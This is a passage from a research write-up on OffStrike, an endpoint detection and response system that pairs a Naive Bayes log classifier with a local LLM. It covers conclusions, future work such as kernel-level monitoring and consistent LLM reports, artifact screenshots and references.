The benefits of OffStrike are multifaceted: it delivers enhanced detection accuracy, as evidenced by LightML’s rigorous model evaluation using metrics such as precision, recall, and F1-score, which are critical for addressing the inherent class imbalance in cybersecurity datasets. The system significantly reduces the cognitive burden on security analysts by transforming raw alerts into meaningful narratives, allowing for faster and more informed decision-making. Furthermore, the strategic choice of a locally deployable LLM ensures improved data privacy and control, a paramount concern in sensitive cybersecurity operations. By addressing the limitations of traditional EDR solutions and pragmatically balancing computational resources with analytical depth, OffStrike contributes meaningfully to the evolving landscape of AI-driven cybersecurity.

Future Work

While the OffStrike EDR system demonstrates significant promise in enhancing cybersecurity capabilities, this research also illuminates several key areas for future development and refinement. These future endeavors aim to build upon the foundation laid by this research, further optimizing the system’s performance, expanding its functionality, and addressing identified limitations.

Enhanced AI Model: The current LightML model, a crucial component of the OffStrike agent responsible for log classification, achieves a promising level of accuracy. However, there remains substantial room for improvement. Future work should focus on a multi-faceted approach to enhance the model’s predictive capabilities.

Refined Training Data: The quality and comprehensiveness of the training data are paramount to the success of any machine learning model. Future research should prioritize the acquisition and curation of a larger, more diverse dataset of security logs. This dataset should encompass a wider range of attack vectors, system events, and normal operating conditions to ensure the model’s ability to generalize effectively. Techniques such as data augmentation and active learning could be employed to further enrich the training data.
Model Architecture Optimization: While the Multinomial Naïve Bayes model has proven to be a suitable starting point, exploring alternative model architectures could yield significant performance gains. Recurrent Neural Networks (RNNs) or Transformer-based models, for instance, may be better equipped to capture the sequential nature of log data and identify subtle patterns indicative of malicious activity. Rigorous experimentation and benchmarking of different models are necessary to determine the optimal architecture for this specific application.
Continuous Integration and Training: The threat landscape is in a constant state of flux, with new attack techniques emerging regularly. To maintain its effectiveness, the LightML model must be continuously updated and retrained. Implementing a continuous integration and continuous training (CI/CT) pipeline would automate the process of model retraining, ensuring that OffStrike remains adaptable to evolving threats. This pipeline could incorporate feedback loops, where the LLM’s analysis of events is used to further refine the LightML model.

Kernel Module Development: The current OffStrike agent operates primarily in user space, limiting its visibility into lower-level system operations. Developing a kernel driver or module would significantly expand the agent’s monitoring capabilities, providing deeper insights into kernel-level activities, such as system calls, memory access, and driver behavior. This enhanced visibility is crucial for detecting sophisticated rootkits and other advanced persistent threats (APTs) that operate at the kernel level. However, kernel development is a complex and challenging endeavor, requiring meticulous attention to detail and rigorous testing to ensure system stability and prevent unintended consequences.

LLM Report Consistency: The inconsistencies observed in the LLM-generated reports represent a notable area for improvement. While the LLM provides valuable context and explanations for detected events, the variability in report structure and content can hinder analyst efficiency and introduce ambiguity. Future work should focus on refining the prompt engineering techniques used to guide the LLM’s report generation. This may involve:

Prompt Template Standardization: Developing standardized prompt templates can ensure consistency in the structure and content of the generated reports. These templates should define the specific information to be included, the level of detail required, and the desired writing style.
Output Validation and Filtering: Implementing mechanisms to validate and filter the LLM’s output can help eliminate nonsensical or irrelevant information. This may involve using rule-based filters or additional AI models to assess the quality and coherence of the generated reports.
Feedback Mechanisms: Incorporating feedback mechanisms that allow security analysts to rate and provide feedback on the LLM-generated reports can facilitate continuous improvement. This feedback can be used to further refine the prompt engineering and fine-tune the LLM.

Expanded Testing Scenarios: The testing conducted in this research, while providing valuable insights into OffStrike’s performance, can be expanded to encompass a broader range of scenarios. Future research should include:

Diverse Attack Vectors: Evaluating OffStrike’s ability to detect and respond to a wider variety of attack vectors, including malware infections, phishing attacks, denial-of-service attacks, and data exfiltration attempts.
Real-World Environments: Testing OffStrike in more realistic and complex network environments, including those with heterogeneous systems, cloud infrastructure, and various security controls.
Adversarial Testing: Conducting adversarial testing, where security experts simulate real-world attacks to identify potential weaknesses in OffStrike’s defenses.

Automation: The research touched on the automation capabilities of OffStrike, particularly in its incident response. Future work can explore expanding on this by developing more advanced automation workflows to further streamline security operations. This could include:

Automated Threat Response: Implementing automated responses to specific types of threats, such as isolating infected endpoints, blocking malicious network traffic, or terminating malicious processes.
Automated Alert Prioritization: Developing algorithms to automatically prioritize security alerts based on their severity, potential impact, and confidence level, enabling security teams to focus on the most critical issues.
Automated Threat Hunting: Leveraging AI to proactively hunt for potential threats within the network, by identifying anomalies and suspicious patterns that may evade traditional detection methods.

LLM/ML-Centric Kernel: While this research didn’t cover Antimalware Scan Interface (AMSI), its design and the foundation of this research can be used to build a kernel with an LLM at its core. This approach has the potential to significantly reduce security vulnerabilities. Most exploits rely on deceiving the operating system into performing malicious tasks and functions on behalf of the attacker. This is often possible because the kernel/OS lacks a way to dynamically understand the contextual effects of such actions. Future research could explore the feasibility and security implications of integrating LLM/ML capabilities directly into the kernel to enhance its ability to reason about and validate system operations.[8]

A fantastic start for such an endeavor would be integrating a small language model (SML) into the EDR agent kernel driver, this will make an interesting design. Like AMSI, we could hook into running shells and load a custom DLL that reads all inputs from active sessions and query the local SML for analysis before running the command. However, this might not be the best approach for certain tasks because it has potential to create deadlocks or slow down the OS, instead the running shell processes should be audited. Meaning a future asynchronous implementation that allows a callback invocation would still allow the system to kill the process after the audit.

By pursuing these future research directions, the OffStrike EDR system can be further enhanced to provide even more robust, efficient, and intelligent cybersecurity protection for organizations in the face of increasingly complex and persistent cyber threats.

Research Artifacts

YouTube: Application Walthrough Post Tests

OffStrike Dashboard

OffStrike THreat Hunting Page

OffStrike Threat Detection Page - Benign Event

OffStrike Threat Detection Page - Malicious Event

OffStrike C2 Interface

OffStrike Atomic Page

References

[1] Fidelis Security, “Mapping EDR to MITRE ATT&CK,” n.d.. [Online]. Available: https://fidelissecurity.com/threatgeek/endpoint-security/mapping-edr-to-mitre-attack/.

[2] Microsoft, “What is MITRE ATT&CK framework,” n.d.. [Online]. Available: https://www.microsoft.com/en-us/security/business/security-101/what-is-mitre-attack-framework.

[3] RIT Scholarship, “Improving Cybersecurity Anomaly Detection in India (2003-2022) using Advanced AI and Machine Learning,” n.d.. [Online]. Available: https://repository.rit.edu/cgi/viewcontent.cgi?article=13138&context=theses.

[4] MDPI, “Deep Learning vs. Machine Learning for Intrusion Detection in Computer Networks: A Comparative Study,” 2024. [Online]. Available: https://www.mdpi.com/2076-3417/15/4/1903.

[5] MDPI, “Implementing Machine Learning is Imperative for Enhancing Advanced Cybersecurity Practices Globally,” 2024. [Online]. Available: https://www.mdpi.com/2624-800X/5/2/12.

[6] Journal of Knowledge Learning and Science Technology, “A Review on the Effectiveness of Artificial Intelligence and Machine Learning on Cybersecurity,” 2025. [Online]. Available: https://jklst.org/index.php/home/article/view/v4.n1.011.

[7] ResearchGate, “Survey on Intrusion Detection System using Machine Learning Techniques,” n.d.. [Online]. Available: https://www.researchgate.net/publication/260632466_Survey_on_Intrusion_Detection_System_using_Machine_Learning_Techniques.

[8] Insights2TechInfo, “AI in Malware Detection and Analysis,” n.d.. [Online]. Available: https://insights2techinfo.com/ai-in-malware-detection-and-analysis/.

[9] TechMagic, “AI Anomaly Detection,” n.d.. [Online]. Available: https://www.techmagic.co/blog/ai-anomaly-detection. IJRCS, “Unsupervised Learning for Anomaly Detection in Cybersecurity Papers,” 2024. [Online]. Available: https://ijrcs.org/wp-content/uploads/IJRCS202412011-min.pdf.

[10] Red Canary, “The Top Endpoint Detection and Response Tools in 2025,” n.d.. [Online]. Available: https://redcanary.com/cybersecurity-101/endpoint-security/the-top-endpoint-detection-and-response-tools-in-2025/.

[11] Trellix, “Trellix Endpoint Detection and Response,” n.d.. [Online]. Available: https://www.trellix.com/products/edr/.

[12] SentinelOne, “List of EDR Solutions with MITRE ATT&CK Integration,” n.d.. [Online]. Available: https://www.sentinelone.com/cybersecurity-101/endpoint-security/best-edr-solutions-for-small-business/.

[13] ResearchGate, “Unsupervised Learning for Anomaly Detection in Cybersecurity,” n.d.. [Online]. Available: https://www.researchgate.net/publication/387470903_Unsupervised_Learning_for_Anomaly_Detection_in_Cybersecurity.

[14] Insights2TechInfo, “AI in Malware Detection and Analysis,” n.d.. [Online]. Available: https://insights2techinfo.com/ai-in-malware-detection-and-analysis/.

[15] arXiv, “A Survey for Deep Reinforcement Learning Based Network Intrusion Detection,” 2024. [Online]. Available: https://arxiv.org/abs/2410.07612.

[16] ResearchGate, “Reinforcement Learning for an Efficient and Effective Malware Investigation During Cyber Incident Response,” n.d.. [Online]. Available: https://www.researchgate.net/publication/388161761_Reinforcement_learning_for_an_efficient_and_effective_malware_investigation_during_cyber_incident_response.

[17] London Metropolitan University Repository, “Reinforcement Learning for Malware Investigation FINAL,” 2024. [Online]. Available: https://repository.londonmet.ac.uk/9761/1/SNAMS%202024%20RL%20for%20Malware%20Investigation%20FINAL.pdf.

[18] MDPI, “A Review of Deep Learning Applications in Intrusion Detection Systems: Overcoming Challenges in Spatiotemporal Feature Extraction and Data Imbalance,” 2024. [Online]. Available: https://www.mdpi.com/2076-3417/15/3/1552.

[19] BytePlus, “DeepSeek Ollama 14B Characteristics Deployment,” n.d.. [Online]. Available: https://www.byteplus.com/en/topic/375329.

[20] ResearchGate, “Graph Neural Networks for Threat Detection in Secure Communication Systems,” n.d.. [Online]. Available: https://www.researchgate.net/publication/391180288_Graph_Neural_Networks_for_Threat_Detection_in_Secure_Communication_Systems.

[21] GeeksforGeeks, “Confusion Matrix Machine Learning,” n.d.. [Online]. Available: https://www.geeksforgeeks.org/confusion-matrix-machine-learning/.

[22] Google Developers, “Accuracy, Precision, and Recall,” n.d.. [Online]. Available: https://developers.google.com/machine-learning/crash-course/classification/accuracy-precision-recall.

Research, EDR

EDR AI ML NLP MITRE ATT&CK LLM